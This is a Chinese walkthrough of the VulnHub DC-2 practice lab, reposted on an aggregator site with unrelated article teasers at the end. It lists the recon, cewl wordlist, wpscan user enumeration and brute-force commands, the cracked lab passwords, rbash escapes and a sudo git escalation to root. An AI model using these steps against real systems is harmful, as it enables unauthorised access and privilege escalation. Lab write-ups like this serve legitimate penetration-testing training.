DC2靶场

news/2024/10/6 20:40:51

DC2

下载地址:

https://download.vulnhub.com/dc/DC-2.zip

题目要求:

Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

As with the original DC-1, it's designed with beginners in mind.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

Just like with DC-1, there are five flags including the final flag.

And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.

In short, the only flag that really counts, is the final flag.

For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.

I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.

信息收集

1.1 arp-scan -l

1.2 nmap -p- -sV -T5 192.168.126.132

1.3 whatweb 192.168.126.132

修改host

1.4 80端口301状态码永久重定向,修改本地host文件后访问

1.5 再次访问得知是WordPress

1.6 找到第一个flag

cewl获取密码字典

2.1 提示要求登录后台,换用户,可能需要用到cewl

用cewl爬取密码字典

cewl http://dc-2/ -w passwd.txt

2.2 WordPress后台地址

获取用户名

2.3 ?author=1的方法手动遍历用户

1和3回显2个用户

dc-2/?author=1

dc-2/?author=3

2.4 用wpscan检测到3个用户

wpscan --url http://dc-2/ -e u

echo "" > usr.txt

爆破

2.5 wpscan爆破

wpscan --url http://dc-2/ -U usr.txt -P passwd.txt

jerry/adipiscing

tom/parturient

2.6 jerry/adipiscing登录后台,发现flag2

提示WordPress上没有渗透点了,换条路

ssh还没尝试

3.1 ssh tom@192.168.126.132 -p 7744

3.2 ls

cat flag3.txt

发现受到rbash限制

rbash绕过

3.3 rbash绕过

BASH_CMDS[a]=/bin/sh;a#

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin

3.4 提到了jerry,su切换到jerry中

su jerry

adipiscing

cd /home/jerry

ls

3.5 cat flag4.txt

flag4提示git

git提权

4.1 git提权

sudo -l

git提权

sudo git help config

!/bin/bash

4.2 提权成功

cd /root

cat final-flag.txt

4.3 得到最后一个flag

补漏

查看可用命令

compgen -c

flag3内容

poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

vi部分提权

vi flag3.txt

:set shell=/bin/sh+回车

:shell+回车

切换到jerry,发现flag4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/28408.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Unity热更学习toLua使用--[1]toLua的导入和默认加载执行lua脚本

[0]toLua的导入 下载toLua资源包,访问GitHub项目地址,点击下载即可。将文件导入工程目录中:导入成功之后会出现Lua菜单栏,如未成功生成文件,可以点击Generate All 重新生成(注意很可能是路径问题导致的生成失败!)之后就可以开始编写脚本执行第一个lua程序了! [1]C#调用…

DC1靶场练习

DC1 下载地址: https://download.vulnhub.com/dc/DC-1.zip 题目要求: DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is …

实验三junit单元测试

石 家 庄 铁 道 大 学 实 验 报 告实验项目名称:实验三 单元测试预习 一、 实验目的完成eclipse、java的jdk及junit的安装。 Junit的基本使用 Junit测试框架搭建二、 实验内容 1. (1)安装Jdk (2)安装Eclipse (3)安装Junit 2. (1)使用Eclipse创建工程 (2) 利…

解决excel打开.csv文件乱码问题

解决excel打开.csv文件乱码问题 今天打开用Excel打开一个后缀为.csv的文件,出现乱码,然后用Emeditor转化文件格式为Utf-8,再用excel打开还是乱码,然后就有了以下步骤 在Excel里面,点击 数据 => 从文本/CSV => 然后找到那个乱码.csv的文件,将其导入即可第二次我把制…

GitHub搭建免费博客

一、GitHub仓库准备 ​ 搭建博客需要准备两个仓库。一个存放博客图床的仓库,另一个存放博客网站的仓库。 1.1、图床创建新建仓库 第一步:​ 第二步:生成Token令牌点击右上角头像->Settings->下拉,直到左侧到底,选择Developer settings(开发人员设置)->Personal…

一键关闭 Win11 系统广告「GitHub 热点速览」

不知道读者中有多少人早已对 Windows 11 系统自带的广告感到厌烦,却又不知道如何关闭它们?虽然网上有详细的关闭教程,但是都需要逐一手动操作,不是很方便。所以,今天「GitHub 热点速览」给大家带来了一款能够轻松关闭 Windows 11 系统广告的工具「OFGB」,它开箱即用、界面…

OKR-Periods of Words(洛谷P3435 [POI2006] OKR-Periods of Words)

OKR-Periods of Words 题目描述输入格式输出格式样例 样例输入 8 babababa 样例输出 24 1. 题目到底要让我们求什么:(首先这是一道kmp的题)这是每个位置kmp的数值,代表它的border(真前缀和后缀)这是由题意得出的每个位置的最长周期(还没什么头绪)结合这张图来看:黑色字…

修改PHPExcel兼容php7.4

https://blog.csdn.net/u012931845/article/details/133899174 翻译 搜索 复制